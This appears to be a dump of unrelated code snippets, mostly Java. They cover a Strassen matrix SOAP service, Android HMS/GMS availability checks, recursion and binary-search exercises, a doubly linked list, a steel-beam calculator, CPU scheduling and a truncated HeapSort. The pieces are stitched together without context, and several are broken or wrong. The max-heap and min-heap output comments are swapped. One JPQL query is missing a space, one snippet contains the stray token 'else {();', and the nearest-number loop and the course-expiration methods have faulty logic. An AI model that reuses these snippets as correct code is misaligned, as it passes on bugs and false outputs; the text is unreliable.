
    public String StrassenMessage(String sreq) {
        String MatrixC = "";
        System.out.println("Server: StrassenMessage() invoked...");
        System.out.println("Server: Message &gt; " + sreq);
        int idx = sreq.indexOf(",");
        int N = Integer.parseInt(sreq.substring(0, idx));
        System.out.println("N=" + N);
        int t = 0;
        int[][] A = new int[N][N];
        int[][] B = new int[N][N];
        int[][] C = new int[N][N];
        for (int i = 0; i < N; i++) {
            for (int j = 0; j < N; j++) {
                int from = sreq.indexOf(',', t);
                int to = sreq.indexOf(',', from + 1);

                A[i][j] = Integer.parseInt(sreq.substring(from + 1, to));
                t = to;
            }
        }
        for (int i = 0; i < N; i++) {
            for (int j = 0; j < N; j++) {
                int from = sreq.indexOf(',', t);
                int to = sreq.indexOf(',', from + 1);

                B[i][j] = Integer.parseInt(sreq.substring(from + 1, to));
                t = to;
            }
        }
        int[][] MAT = multiply(A, B);
        StringBuilder MatC = new StringBuilder();
        MatC.append(N + ",");
        for (int i = 0; i < N; i++) {
            for (int j = 0; j < N; j++) {
                MatC.append(MAT[i][j]);

                if (i == N - 1 && j == N - 1)
                    MatC.append("");
                else
                    MatC.append(",");
            }
            System.out.println();
        }
        MatrixC = MatC.toString();
        return (MatrixC);
    }
}


//StrassenServerPublisher.java

package Ex01.strassen;

import javax.xml.ws.Endpoint;

public class StrassenServerPublisher {
    public static void main(String[] args) {
        Endpoint.publish("http://localhost:9876/strassen", new StrassenServerImpl());
    }
}

//StrassenServer.java

package Ex01.strassen;

import javax.jws.WebService;
import javax.jws.WebMethod;
import javax.jws.soap.SOAPBinding;
import javax.jws.soap.SOAPBinding.Style;

@WebService // This signals that this is a Service Endpoint Interface (SEI)
@SOAPBinding(style = Style.RPC)
public interface StrassenServer {
    @WebMethod // This signals that this method is a service operation
    String StrassenMessage(String strMsg);
}

//StrassenClient.java

package Ex01.strassen;
import javax.xml.namespace.QName;
import javax.xml.ws.Service;
import java.net.URL;
class StrassenClient { public static void main(String argv[ ]) throws Exception {

long start,finish, difference;

if (argv.length < 1) {
System.out.println("Usage: java StrassenClient \"N,matrix elements separated by ,\"");

System.exit(1); }
String strMsg = argv[0];
URL url = new URL("http://localhost:9876/strassen?wsdl");
QName qname = new QName("http://strassen.Ex01/", "StrassenServerImplService");

Service service = Service.create(url, qname);
StrassenServer eif = service.getPort(StrassenServer.class);
start=System.currentTimeMillis();
String sreq=eif.StrassenMessage(strMsg);
finish=System.currentTimeMillis();
sreq=sreq+",";
int idx = sreq.indexOf(",");
int N = Integer.parseInt(sreq.substring(0,idx));
int t=0;
int[][] C = new int[N][N];
for (int i = 0; i < N; i++)
{ for (int j = 0; j < N; j++)
{ int from = sreq.indexOf(",",t);
int to = sreq.indexOf(",", from+1);
C[i][j] = Integer.parseInt(sreq.substring(from+1,to));

t=to; } }

System.out.println("\nMatrix Multiplication is ...\n");
for (int i = 0; i < N; i++)
{ for (int j = 0; j < N; j++)
System.out.print(C[i][j] + " ");
System.out.println(); }
difference=finish-start;

System.out.println("Time required for matrix multiplication (Using Strassen algorithm) :");
System.out.println(difference + " milli seconds"); } }


/*

CMD-1
D:>Ex01\strassen>javac *.java


D:>Ex01\strassen> java Ex01.strassen.StrassenServerPublisher

CMD-2 

java Ex01.strassen.StrassenClient 2,5,2,3,4,3,3,4,65,43



*/
public void openSomeActivityForResult() {
    Intent intent = new Intent(this, SomeActivity.class);
    someActivityResultLauncher.launch(intent);
}

// You can do the assignment inside onAttach or onCreate, i.e, before the activity is displayed
ActivityResultLauncher<Intent> someActivityResultLauncher = registerForActivityResult(
        new ActivityResultContracts.StartActivityForResult(),
        new ActivityResultCallback<ActivityResult>() {
            @Override
            public void onActivityResult(ActivityResult result) {
                if (result.getResultCode() == Activity.RESULT_OK) {
                    // There are no request codes
                    Intent data = result.getData();
                    doSomeOperations();
                }
            }
        });

@Entity
public class User {
  @Id
  @GeneratedValue(strategy = GenerationType.SEQUENCE)
  private Long id;
}
@Query(value = "SELECT e FROM Eform e"+
                    "WHERE e.List ")
List<Object> findByResponseAccountId(@Param("responseAccountId") UUID responseAccountId);
public class IsInstanceOfTest {

    public static void main(final String[] args) {

        String s;

        s = "";

        System.out.println((s instanceof String));
        System.out.println(String.class.isInstance(s));

        s = null;

        System.out.println((s instanceof String));
        System.out.println(String.class.isInstance(s));
    }
}
class Solution {
    public int firstUniqChar(String s) {
       int len = s.length();
        int[] res = new int[26];
        for(int i=0;i<len;i++)
        {
            res[s.charAt(i)-'a']++;
        }
        for(int j=0;j<len;j++)
        {
            if(res[s.charAt(j)-'a'] == 1) return j;
        }
        return -1;
    }
}
class MyHashMap {
    int[] arr;

    public MyHashMap() {
        arr = new int[(int) Math.pow(10,6)+1];
        Arrays.fill(arr,-1);
        
    }
    
    public void put(int key, int value) {
        arr[key] = value;
    }
    
    public int get(int key) {
        return arr[key];
    }
    
    public void remove(int key) {
        arr[key] = -1;
    }
}

/**
 * Your MyHashMap object will be instantiated and called as such:
 * MyHashMap obj = new MyHashMap();
 * obj.put(key,value);
 * int param_2 = obj.get(key);
 * obj.remove(key);
 */
import com.sun.management.OperatingSystemMXBean;
import java.lang.management.ManagementFactory;

public class CheckOperatingSystemMXBean {

    public static void main(String[] args) {
        System.out.println("Checking OperatingSystemMXBean");

        OperatingSystemMXBean osBean = (OperatingSystemMXBean) ManagementFactory.getOperatingSystemMXBean();
        System.out.println(String.format("Runtime.availableProcessors: %d", Runtime.getRuntime().availableProcessors()));
        System.out.println(String.format("OperatingSystemMXBean.getAvailableProcessors: %d", osBean.getAvailableProcessors()));
        System.out.println(String.format("OperatingSystemMXBean.getTotalPhysicalMemorySize: %d", osBean.getTotalPhysicalMemorySize()));
        System.out.println(String.format("OperatingSystemMXBean.getFreePhysicalMemorySize: %d", osBean.getFreePhysicalMemorySize()));
        System.out.println(String.format("OperatingSystemMXBean.getTotalSwapSpaceSize: %d", osBean.getTotalSwapSpaceSize()));
        System.out.println(String.format("OperatingSystemMXBean.getFreeSwapSpaceSize: %d", osBean.getFreeSwapSpaceSize()));
        System.out.println(String.format("OperatingSystemMXBean.getSystemCpuLoad: %f", osBean.getSystemCpuLoad()));
    }

}
class Solution {
    public int solution(int X, int Y, int D) {
        // write your code in Java SE 8
        // if(X > Y || X == Y) return 0;
        // int steps = 0;
        // while(Y > X)
        // {
        //     X+=D;
        //     steps++;
        // }
        // return steps;
        int iStep = 0;
        if((Y-X)%D == 0)
        {
            iStep = (Y-X)/D;
        }else{
            iStep = ((Y-X)/D)+1;
        }
        return iStep;
    }
}
int myNumber = 490;
int distance = 0;
int idx = 0;
for(int c = 0; c < numbers.length; c++){
    int cdistance = numbers[c] - myNumber;
    if(cdistance < distance){
        idx = c;
        distance = cdistance;
    }
}
int theNumber = numbers[idx];
<dependency>
   <groupId>org.ocpsoft.prettytime</groupId>
   <artifactId>prettytime</artifactId>
   <version>5.0.2.Final</version>
</dependency>
  private String getFormatedDate(long time){
        simpleDateFormat = new SimpleDateFormat("dd/MM/yyyy");
        String formatedDate = simpleDateFormat.format(time);
        return formatedDate;
    }
package com.sellingapp.Helpers;

import android.content.Context;
import android.util.Log;

import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Locale;
import java.util.concurrent.TimeUnit;

public class TimeAgo {
    private static final int SECOND_MILLIS = 1000;
    private static final int MINUTE_MILLIS = 60 * SECOND_MILLIS;
    private static final int HOUR_MILLIS = 60 * MINUTE_MILLIS;
    private static final int DAY_MILLIS = 24 * HOUR_MILLIS;

    public static String getTimeAgo(long time, Context ctx) {
        if (time < 1000000000000L) {
            //if timestamp given in seconds, convert to millis time *= 1000;
        }

        long now = System.currentTimeMillis();
        if (time > now || time <= 0) {
            return null;
        }

        // TODO: localize

        final long diff = now - time;

        if (diff < MINUTE_MILLIS) { return "just now"; }
        else if (diff < 2 * MINUTE_MILLIS) { return "a minute ago"; }
        else if (diff < 50 * MINUTE_MILLIS) { return diff / MINUTE_MILLIS + " minutes ago"; }
        else if (diff < 90 * MINUTE_MILLIS) { return "an hour ago"; }
        else if (diff < 24 * HOUR_MILLIS) { return diff / HOUR_MILLIS + " hours ago"; } else if (diff < 48 * HOUR_MILLIS) { return "yesterday"; }
        else { return diff / DAY_MILLIS + " days ago"; }
    }

}

import android.view.View;

import androidx.recyclerview.widget.LinearSnapHelper;
import androidx.recyclerview.widget.RecyclerView;

public class SnapHelperOneByOne extends LinearSnapHelper {

    @Override
    public int findTargetSnapPosition(RecyclerView.LayoutManager layoutManager, int velocityX, int velocityY){

        if (!(layoutManager instanceof RecyclerView.SmoothScroller.ScrollVectorProvider)) {
            return RecyclerView.NO_POSITION;
        }

        final View currentView = findSnapView(layoutManager);

        if( currentView == null ){
            return RecyclerView.NO_POSITION;
        }

        final int currentPosition = layoutManager.getPosition(currentView);

        if (currentPosition == RecyclerView.NO_POSITION) {
            return RecyclerView.NO_POSITION;
        }

        return currentPosition;
    }
}


//how to use
LinearSnapHelper linearSnapHelper = new SnapHelperOneByOne();
        linearSnapHelper.attachToRecyclerView(recycler_images);
 double distance = shopLocation.distanceTo(driverLocation);
double km = (distance / 1000);
<androidx.recyclerview.widget.RecyclerView
    app:layoutManager="androidx.recyclerview.widget.LinearLayoutManager"
    android:orientation="vertical"
    ...>
<androidx.recyclerview.widget.RecyclerView
    app:layoutManager="androidx.recyclerview.widget.GridLayoutManager"
    app:spanCount="2"
    ...>
public class Main {

        public static void main(String[] args) {
            int [] arr =  {1,2,3,4,5,6};
            System.out.println(findEl(arr,6, arr.length-1));
        }

        public static int findEl(int [] arr,int target, int index) {
            if (index== arr.length){
                return -1;
            }
            if(arr[index]==target){
                return index;
            }else{


            return findEl(arr, target, index+1);
            }
        }

}
package org.arpit.java2blog.datastructures;
 
class Node {
    public int data;
    public Node next;
    public Node prev;
 
    public void displayNodeData() {
        System.out.println("{ " + data + " } ");
    }
}
 
public class MyDoublyLinkedList {
 
    private Node head;
    private Node tail;
    int size;
 
    public boolean isEmpty() {
        return (head == null);
    }
 
    // متد برای درج گره در ابتدای لیست پیوندی
    public void insertFirst(int data) {
        Node newNode = new Node();
        newNode.data = data;
        newNode.next = head;
        newNode.prev=null;
        if(head!=null)
            head.prev=newNode;
        head = newNode;
        if(tail==null)
            tail=newNode;
        size++;
    }
 
    // متد برای درج گره در انتهای لیست پیوندی
    public void insertLast(int data) {
        Node newNode = new Node();
        newNode.data = data;
        newNode.next = null;
        newNode.prev=tail;
        if(tail!=null)
            tail.next=newNode;
        tail = newNode;
        if(head==null)
            head=newNode;
        size++;
    }
    // متد حذف گره از ابتدای لیست پیوندی دو طرفه
    public Node deleteFirst() {
 
        if (size == 0)
            throw new RuntimeException("Doubly linked list is already empty");
        Node temp = head;
        head = head.next;
        head.prev = null;
        size--;
        return temp;
    }
 
    // متد حذف گره از انتهای لیست پیوندی دو طرفه
    public Node deleteLast() {
 
        Node temp = tail;
        tail = tail.prev;
        tail.next=null;
        size--;
        return temp;
    }
 
    // متد برای حذف گره پس از یک گره خاص
    public void deleteAfter(Node after) {
        Node temp = head;
        while (temp.next != null && temp.data != after.data) {
            temp = temp.next;
        }
        if (temp.next != null)
            temp.next.next.prev=temp;
        temp.next = temp.next.next;
 
    }
 
    // (Forward) متد چاپ لیست پیوندی دو طرفه رو به جلو 
    public void printLinkedListForward() {
        System.out.println("Printing Doubly LinkedList (head --> tail) ");
        Node current = head;
        while (current != null) {
            current.displayNodeData();
            current = current.next;
        }
        System.out.println();
    }
 
    // (Backward) متد چاپ لیست پیوندی دو طرفه رو به عقب
    public void printLinkedListBackward() {
        System.out.println("Printing Doubly LinkedList (tail --> head) ");
        Node current = tail;
        while (current != null) {
            current.displayNodeData();
            current = current.prev;
        }
        System.out.println();
    }
 
    public static void main(String args[])
    {
        MyDoublyLinkedList mdll = new MyDoublyLinkedList();
        mdll.insertFirst(50);
        mdll.insertFirst(60);
        mdll.insertFirst(70);
        mdll.insertFirst(10);
        mdll.insertLast(20);
        mdll.printLinkedListForward();
        mdll.printLinkedListBackward();
 
        System.out.println("================");
        // :لیست پیوندی دو طرفه به صورت زیر خواهد بود
        // 10 ->  70 -> 60 -> 50 -> 20
 
        Node node=new Node();
        node.data=10;
        mdll.deleteAfter(node);
        mdll.printLinkedListForward();
        mdll.printLinkedListBackward();
        // :بعد از حذف نود پس از ۱، لیست پیوندی به صورت زیر خواهد شد
        // 20 -> 10 -> 60-> 50
        System.out.println("================");
        mdll.deleteFirst();
        mdll.deleteLast();
 
        // :پس از انجام عملیات فوق، لیست پیوندی به صورت زیر خواهد شد
        //  60 -> 50
        mdll.printLinkedListForward();
        mdll.printLinkedListBackward();
    }
}
package com.Java;

import java.sql.SQLOutput;
import java.text.DecimalFormat;
import java.util.Arrays;
import java.util.Locale;
import java.util.Scanner;
import java.util.Random;
import java.util.Arrays;

public class Main {
    public static void main(String[] args) {
        DecimalFormat df = new DecimalFormat("####0.00");
        Scanner scan = new Scanner(System.in);
        System.out.println("nosilnost varjenega I profila");

        // inputs;

        System.out.println("vpiši dolžino h:");
        double h = scan.nextDouble();
        System.out.println("vpiši sirino stojne višine tw:");
        double tw = scan.nextDouble();
        System.out.println("vpiši dolžino (sotjna višina) d:");
        double d = scan.nextDouble();
        System.out.println("vpiši dolžino pasnice b:");
        double b = scan.nextDouble();
        double tf = (h-d)/2;
        System.out.println("izberito vrsto jekla: S235,  S275,  S355");
        System.out.println("type: 1  2  or 3:");
        int vrstaJekla = scan.nextInt();

        double fy=0;

        if(vrstaJekla==1){
            fy=23.5;
        }
        else if(vrstaJekla==2){
            fy=27.5;
        }
        else if(vrstaJekla==3){
            fy=35.5;
        }
        else{
            System.out.println("napačen vnos podatkov !");
        }
        double stojina = d/tw;
        double sigmaM0 = 1.10;
        double c = b/2;
        double pasnica=c/tf;

        System.out.println("stojina : " +stojina);
        System.out.println("pasnica : "+ pasnica);

        // določitev odp momenta;
        double Wply = (b*tf*(h-tf))+(tw*(Math.pow(h-2*tf,2))/4);
        System.out.println("Wply = "+Wply+" cm3");

        // nosilnost

        double MpiR0_KNcm = Wply*(fy/sigmaM0);
        double MpiR0_KNm = MpiR0_KNcm/100;
        System.out.println("Value: " + df.format(MpiR0_KNm)+"KNm");

        
    }

}
import java.util.Scanner;

public class NonPreemptivePriorityCPUSchedulingAlgorithm 
{

    int burstTime[];
    int priority[];
    int arrivalTime[];
    String[] processId;
    int numberOfProcess;

    void getProcessData(Scanner input) 
    {
        System.out.print("Enter the number of Process for Scheduling           : ");
        int inputNumberOfProcess = input.nextInt();
        numberOfProcess = inputNumberOfProcess;
        burstTime = new int[numberOfProcess];
        priority = new int[numberOfProcess];
        arrivalTime = new int[numberOfProcess];
        processId = new String[numberOfProcess];
        String st = "P";
        for (int i = 0; i < numberOfProcess; i++) 
        {
            processId[i] = st.concat(Integer.toString(i));
            System.out.print("Enter the burst time   for Process - " + (i) + " : ");
            burstTime[i] = input.nextInt();
            System.out.print("Enter the arrival time for Process - " + (i) + " : ");
            arrivalTime[i] = input.nextInt();
            System.out.print("Enter the priority     for Process - " + (i) + " : ");
            priority[i] = input.nextInt();
        }
    }

    void sortAccordingArrivalTimeAndPriority(int[] at, int[] bt, int[] prt, String[] pid) 
    {

        int temp;
        String stemp;
        for (int i = 0; i < numberOfProcess; i++) 
        {

            for (int j = 0; j < numberOfProcess - i - 1; j++) 
            {
                if (at[j] > at[j + 1]) 
                {
                    //swapping arrival time
                    temp = at[j];
                    at[j] = at[j + 1];
                    at[j + 1] = temp;

                    //swapping burst time
                    temp = bt[j];
                    bt[j] = bt[j + 1];
                    bt[j + 1] = temp;

                    //swapping priority
                    temp = prt[j];
                    prt[j] = prt[j + 1];
                    prt[j + 1] = temp;

                    //swapping process identity
                    stemp = pid[j];
                    pid[j] = pid[j + 1];
                    pid[j + 1] = stemp;

                }
                //sorting according to priority when arrival timings are same
                if (at[j] == at[j + 1]) 
                {
                    if (prt[j] > prt[j + 1]) 
                    {
                        //swapping arrival time
                        temp = at[j];
                        at[j] = at[j + 1];
                        at[j + 1] = temp;

                        //swapping burst time
                        temp = bt[j];
                        bt[j] = bt[j + 1];
                        bt[j + 1] = temp;

                        //swapping priority
                        temp = prt[j];
                        prt[j] = prt[j + 1];
                        prt[j + 1] = temp;

                        //swapping process identity
                        stemp = pid[j];
                        pid[j] = pid[j + 1];
                        pid[j + 1] = stemp;

                    }
                }
            }

        }
    }

    void priorityNonPreemptiveAlgorithm() 
    {
        int finishTime[] = new int[numberOfProcess];
        int bt[] = burstTime.clone();
        int at[] = arrivalTime.clone();
        int prt[] = priority.clone();
        String pid[] = processId.clone();
        int waitingTime[] = new int[numberOfProcess];
        int turnAroundTime[] = new int[numberOfProcess];

        sortAccordingArrivalTimeAndPriority(at, bt, prt, pid);

        //calculating waiting & turn-around time for each process
        finishTime[0] = at[0] + bt[0];
        turnAroundTime[0] = finishTime[0] - at[0];
        waitingTime[0] = turnAroundTime[0] - bt[0];

        for (int i = 1; i < numberOfProcess; i++) 
        {
            finishTime[i] = bt[i] + finishTime[i - 1];
            turnAroundTime[i] = finishTime[i] - at[i];
            waitingTime[i] = turnAroundTime[i] - bt[i];
        }
        float sum = 0;
        for (int n : waitingTime) 
        {
            sum += n;
        }
        float averageWaitingTime = sum / numberOfProcess;

        sum = 0;
        for (int n : turnAroundTime) 
        {
            sum += n;
        }
        float averageTurnAroundTime = sum / numberOfProcess;

        //print on console the order of processes along with their finish time & turn around time
        System.out.println("Priority Scheduling Algorithm : ");
        System.out.format("%20s%20s%20s%20s%20s%20s%20s\n", "ProcessId", "BurstTime", "ArrivalTime", "Priority", "FinishTime", "WaitingTime", "TurnAroundTime");
        for (int i = 0; i < numberOfProcess; i++) {
            System.out.format("%20s%20d%20d%20d%20d%20d%20d\n", pid[i], bt[i], at[i], prt[i], finishTime[i], waitingTime[i], turnAroundTime[i]);
        }

        System.out.format("%100s%20f%20f\n", "Average", averageWaitingTime, averageTurnAroundTime);
    }

    public static void main(String[] args) 
    {
        Scanner input = new Scanner(System.in);
        NonPreemptivePriorityCPUSchedulingAlgorithm obj = new NonPreemptivePriorityCPUSchedulingAlgorithm();
        obj.getProcessData(input);
        obj.priorityNonPreemptiveAlgorithm();
    }
}

JavaCopy
// this is how to find fibonachi number with recursion 

public class Main {
    public static void main(String[] args) {
        System.out.println(fibo(6));

    }
    static int fibo(int n){

        //base condition
        if(n<2){        // if searched number is 0 or 1 = retunn n
            return n;
        }
        return fibo(n-1)+fibo(n-2);
    }
}

////////////////////////////////////////////////////////
// this is a binary search with a recursion
public class Main {
    public static void main(String[] args) {
        int [] arr={1,2,3,4,5,76,78,657};
        int target=4;
        System.out.println(search(arr,target,0, arr.length-1));

    }
    static int search(int[] arr,int target,int s,int e){

        if(s>e){
            return -1;
        }
        int m=s+(e-s)/2;
        if(arr[m]==target){
            return m;
        }
        if(target<arr[m]){
            return search(arr,target,s,m-1);  // <-- make sure to return a value
        }
        return search(arr, target, m+1, e);
    }
}

////////////////////////////

// this is a simple recurion program taht calls sayHi method n times

public class Main {
    public static void main(String[] args) {
        sayHi(5);

    }
    public static void sayHi(int count) {
        System.out.println("hello");
        
       if(count<=1){
           return;  // this exits recursion sort of like break 
       }
       sayHi(count-1); // each time recursion happens count is smaller to at end recurion finishes
        }

    }


   private void setExtensionMaxExpiration(AccountCourseDTO dto, ExtensionInformation extensionInformation, Long userId){
       List<AccountCourseDTO> allCourses = userCourseDao.findAllUserOrders(userId);

       if (!(dto == null)) {
           boolean dupety = false;
           for(AccountCourseDTO courses: allCourses){
               if(courses.getCourseId().equals(dto.getCourseId())){
                   dupety=true;
                   break;
               }
           }
           if(dupety && dto.getProductType()!=6){
               DateTime originalMaxExpirationDate = extensionInformation.getMaxExpirationDate();


           if(!(dto ==null)){
               for(AccountCourseDTO coursess: allCourses){
                   if (coursess.getCourseId().equals(dto.getCourseId())) {
                       dupety=true;
                       break;


                   }
               }
               if(dupety && dto.getProductType()==6){
                   extensionInformation.setMaxExpirationDate(originalMaxExpirationDate);
               }
           }
       }

   }}
  private void setExtensionMaxExpirationDate(AccountCourseDTO dto, ExtensionInformation extensionInformation, Long userId){
        List<AccountCourseDTO> allCourses = userCourseDao.findAllUserOrders(userId);

        if(dto.getProductType()==6){
            for(AccountCourseDTO courses : allCourses) {
                if(courses.getCourseId().equals(dto.getCourseId()) && dto.getProductType()!=6) {


                    DateTime originalMaxExpirationDate = extensionInformation.getMaxExpirationDate();

                    for(AccountCourseDTO coursess : allCourses) {
                        if (coursess.getCourseId().equals(dto.getCourseId()) && dto.getProductType() == 6) {

                            extensionInformation.setMaxExpirationDate(originalMaxExpirationDate);



                        }
                    }}}}}
private void setExtensionMaxExpirationDate(AccountCourseDTO dto, ExtensionInformation extensionInformation, Long userId){
        List<AccountCourseDTO> allCourses = userCourseDao.findAllUserOrders(userId);

        if(dto.getProductType()==6){
            for(AccountCourseDTO courses : allCourses) {
                if(courses.getCourseId().equals(dto.getCourseId()) && dto.getProductType()!=6) {

                    // DateTime originalPurchaseDate = formatter.parseDateTime(extensionInformation.getDatePurchase());
                    DateTime originalPurchaseDate = dto.getOrderDate();

                    for(AccountCourseDTO coursess : allCourses) {
                        if (coursess.getCourseId().equals(dto.getCourseId()) && dto.getProductType() == 6) {

                            extensionInformation.setMaxExpirationDate(originalPurchaseDate.plusDays(Integer.valueOf((dto.getMaxExpirationDays()))));

                        }
                    }}}}

        }



 setExtensionMaxExpirationDate(dto,extensionInformation,userId);

ExtensionInformation extensionInformation = userEcomDao.getExtensionInformation(dto.getOrderedItemId(), schoolId);
public class Main {
    public static void main(String[] args) {
        Scanner sc = new Scanner(System.in);
        pattern(5);

    }
    static void pattern(int n) {
        for (int row = 0; row <2*n ; row++) {
            int totalColsInRow =row>n? 2*n-row-1:row;
            for (int col = 0; col < totalColsInRow; col++) {
                System.out.print("* ");

            }
            System.out.println();
        }

    }
}
public class Main {
    public static void main(String[] args) {
        Scanner sc = new Scanner(System.in);
        pattern(5);

}
    static void pattern(int n) {
        for (int i = 0; i <= n; i++) {
            for (int j = n; j >= i; j--) {
                System.out.print("*");
            }
            System.out.println();

        }

    }
}
public class Main {
    public static void main(String[] args) {
        Scanner sc = new Scanner(System.in);
        pattern(5);

}
    static void pattern(int n) {
        for (int i = 0; i <= n; i++) {
            for (int j = 0; j <= i; j++) {
                System.out.print("*");
            }
            System.out.println();

        }

    }
}
public class Main {
    public static void main(String[] args) {
        Scanner sc = new Scanner(System.in);
        pattern(5);

}
    static void pattern(int n) {
        for (int i = 0; i < n; i++) {
            for (int j = 0; j < n; j++) {
                System.out.print("*");

            }
            System.out.print("\n");

        }

    }
}
name = ((city.getName() == null) ? "N/A" : city.getName());
public class Main {
    public static void main(String[] args) {
        //int [] arr= {1,2,3,4,5,6,7,8,9,10};
        int [] arr= {99,98,97,96,87,65,54,52,13}; // works in ascendign or descendin array
        int target = 65; // which element are we looking for
        int ans=orderAgnosticBinarySearch(arr,target);
        System.out.println(ans);
        
    }
    static int orderAgnosticBinarySearch(int[] arr,int target){
        int start=0;
        int end=arr.length-1;

        //find whether the array is sorted in ascending or descending

        boolean isAscending=arr[start] < arr[end];
        
        while (start<=end){
            int mid=start+(end-start)/2;

            if(arr[mid]==target){
                return mid;
            }

            if(isAscending)
                if(target<arr[mid]){
                    end=mid-1;
                }
                else{
                    start=mid+1;
                }
            else{
                if(target>arr[mid]){
                    end=mid-1;
                }else{
                    start=mid+1;
                }
            }
        }
        return -1;
    }
}
public class Main {
    public static void main(String[] args) {
        int [] arr= {1,2,3,4,5,6,7,8,9,10};
        int target = 5; // which element are we looking for
        int ans = binarySearch(arr,target);
        System.out.println(ans);

    }

    static int binarySearch(int[] arr,int target) {
        int start = 0;
        int end = arr.length - 1;

        while (start <= end){ 
            int mid=start+(end-start)/2;

            if(target < arr[mid]){
                end=mid-1;
            }
            else if(target>arr[mid]){
                start=mid+1;
            }
            else{
                return mid;// ans found
            }
        }
        return -1; // item does not exist in the array
    }
}
public class Exercise2 {
public static void main(String[] args) {      
int my_array[] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10};
int sum = 0;

for (int i : my_array)
    sum += i;
System.out.println("The sum is " + sum);
}
}


void startHmsCheck() {
    final com.huawei.hms.api.HuaweiApiAvailability apiAvailability = com.huawei.hms.api.HuaweiApiAvailability.getInstance();
    final int availabilityCheckResult = apiAvailability.isHuaweiMobileNoticeAvailable(this);
    if (availabilityCheckResult == com.huawei.hms.api.ConnectionResult.SUCCESS) {
        onActivityResult(REQUEST_CODE_HMS_CHECK, AVAILABLE, null);
    } else if (apiAvailability.isUserResolvableError(availabilityCheckResult)
               && apiAvailability.showErrorDialogFragment(
                   this, availabilityCheckResult, REQUEST_CODE_HMS_CHECK)) {
                // user can do something about the missing HMS on the device -> receive the result via the activity's onActivityResult()
    } else {
        onActivityResult(REQUEST_CODE_HMS_CHECK, UNAVAILABLE, null);
    }
}
 class MyActivity extends Activity {
        final int ANY_INTEGER_REALLY = 16041982;
        final int REQUEST_CODE_GMS_CHECK = ANY_INTEGER_REALLY;
        final int AVAILABLE = Activity.RESULT_OK;
        final int UNAVAILABLE = Activity.RESULT_FIRST_USER + 1;

        @Override
        protected void onCreate(@Nullable Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            if (savedInstanceState == null) {
                startGmsCheck();
            }
        }

        void startGmsCheck() {
            final com.google.android.gms.common.GoogleApiAvailability apiAvailability = com.google.android.gms.common.GoogleApiAvailability.getInstance();
            final int availabilityCheckResult = apiAvailability.isGooglePlayServicesAvailable(this);
            if (availabilityCheckResult == com.google.android.gms.common.ConnectionResult.SUCCESS) {
                onActivityResult(REQUEST_CODE_GMS_CHECK, AVAILABLE, null);
            } else if (
                    apiAvailability.isUserResolvableError(availabilityCheckResult)
                            && apiAvailability.showErrorDialogFragment(
                            this, availabilityCheckResult, REQUEST_CODE_GMS_CHECK)) {
                // user can do something about the missing GMS on the device -> receive the result via the activity's onActivityResult()
            } else {
                onActivityResult(
                        REQUEST_CODE_GMS_CHECK, UNAVAILABLE, null);
            }
        }

        @Override
        protected void onActivityResult(int requestCode, int resultCode, Intent data) {
            super.onActivityResult(requestCode, resultCode, data);
            if (requestCode == REQUEST_CODE_GMS_CHECK) {
                if (resultCode == AVAILABLE) {
                    continueWithGmsFeatures();
                } else {();
                    continueWithoutAnyMobileServicesFeatures();
                }
            }
        }
    }
}
boolean isHmsAvailable(android.content.Context context) {
    return com.huawei.hms.api.HuaweiApiAvailability
        .getInstance()
        .isHuaweiMobileServicesAvailable(context) ==
        com.huawei.hms.api.ConnectionResult.SUCCESS;
}
public static void deleteDirectory(File path) 
{
    if (path == null)
        return;
    if (path.exists())
    {
        for(File f : path.listFiles())
        {
            if(f.isDirectory()) 
            {
                deleteDirectory(f);
                f.delete();
            }
            else
            {
                f.delete();
            }
        }
        path.delete();
    }
}
import java.sql.Timestamp;
import java.text.SimpleDateFormat;

public class Start {
	// Define the format for the time stamp
    private static final SimpleDateFormat FORMAT_DATE = new SimpleDateFormat("yyyy-MM-dd");
    private static final SimpleDateFormat FORMAT_TIME = new SimpleDateFormat("HH:mm");
    
    public static void main(String[] args) {
        // Get the current date and time
        Timestamp timestemp = new Timestamp(System.currentTimeMillis());
        
      	// Output the timestamp formated as date and time
        System.out.println("Current Date: " + FORMAT_DATE.format(timestemp));
        System.out.println("Current Time: " + FORMAT_TIME.format(timestemp));
        
    }

}
 static void sortString(String str) {
        char []arr = str.toCharArray();
        Arrays.sort(arr);
        System.out.print(String.valueOf(arr));
 }
<!DOCTYPE html>  
<html>  
<head>  
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js">  
 </script>  
 <script type="text/javascript" language="javascript">  
 $(document).ready(function() {  
 $("h1").css("color", "red");  
 });  
 </script>  
 </head>  
<body>  
<h1>This is first paragraph.</h1>  
<p>This is second paragraph.</p>  
<p>This is third paragraph.</p>  
</body>  
</html>  

 
// Max Heap:

// Java program to demonstrate working of PriorityQueue in Java
import java.util.*;

class Test{
    public static void main(String args[])
    {
        // Creating empty priority queue
        PriorityQueue<Integer> pq 
        = new PriorityQueue<Integer>(
            Collections.reverseOrder());

        // Adding items to the pQueue using add()
        pq.add(10);
        pq.add(20);
        pq.add(15);
        
        // Above PriorityQueue is stored as following
        //       20
        //      /  \
        //    10    15

        // Printing the top element of PriorityQueue
        System.out.println(pq.peek());

        // Printing the top element and removing it
        // from the PriorityQueue container
        System.out.println(pq.poll());

        // Post poll() PriorityQueue looks like
        //       15
        //      /  
        //    10   

        // Printing the top element again
        System.out.println(pq.peek());
    }
}

// OUTPUT : 
10
10
15










// Min Heap(default)

// Java program to demonstrate working of PriorityQueue in Java
import java.util.*;

class Test{
    public static void main(String args[])
    {
        // Creating empty priority queue
        PriorityQueue<Integer> pq = new PriorityQueue<Integer>();

        // Adding items to the pQueue using add()
        pq.add(10);
        pq.add(20);
        pq.add(15);
        
       
        // Printing the top element of PriorityQueue
        System.out.println(pq.peek());

        // Printing the top element and removing it
        // from the PriorityQueue container
        System.out.println(pq.poll());


        // Printing the top element again
        System.out.println(pq.peek());
    }
}

// OUTPUT : 
20
20
15
import java.util.*;
import java.io.*;
  
public class HeapSort 
{ 
	public void buildheap(int arr[], int n){
        for (int i = n / 2 - 1; i >= 0; i--) 
		    heapify(arr, n, i);
    }
	
	public void sort(int arr[]) 
	{ 
		int n = arr.length; 

		buildheap(arr,n); 
 
		for (int i=n-1; i>0; i--) 
		{ 
			 
			int temp = arr[0]; 
			arr[0] = arr[i]; 
			arr[i] = temp; 

			heapify(arr, i, 0); 
		} 
	} 

	void heapify(int arr[], int n, int i) 
	{ 
		int largest = i;  
		int l = 2*i + 1; 
		int r = 2*i + 2; 

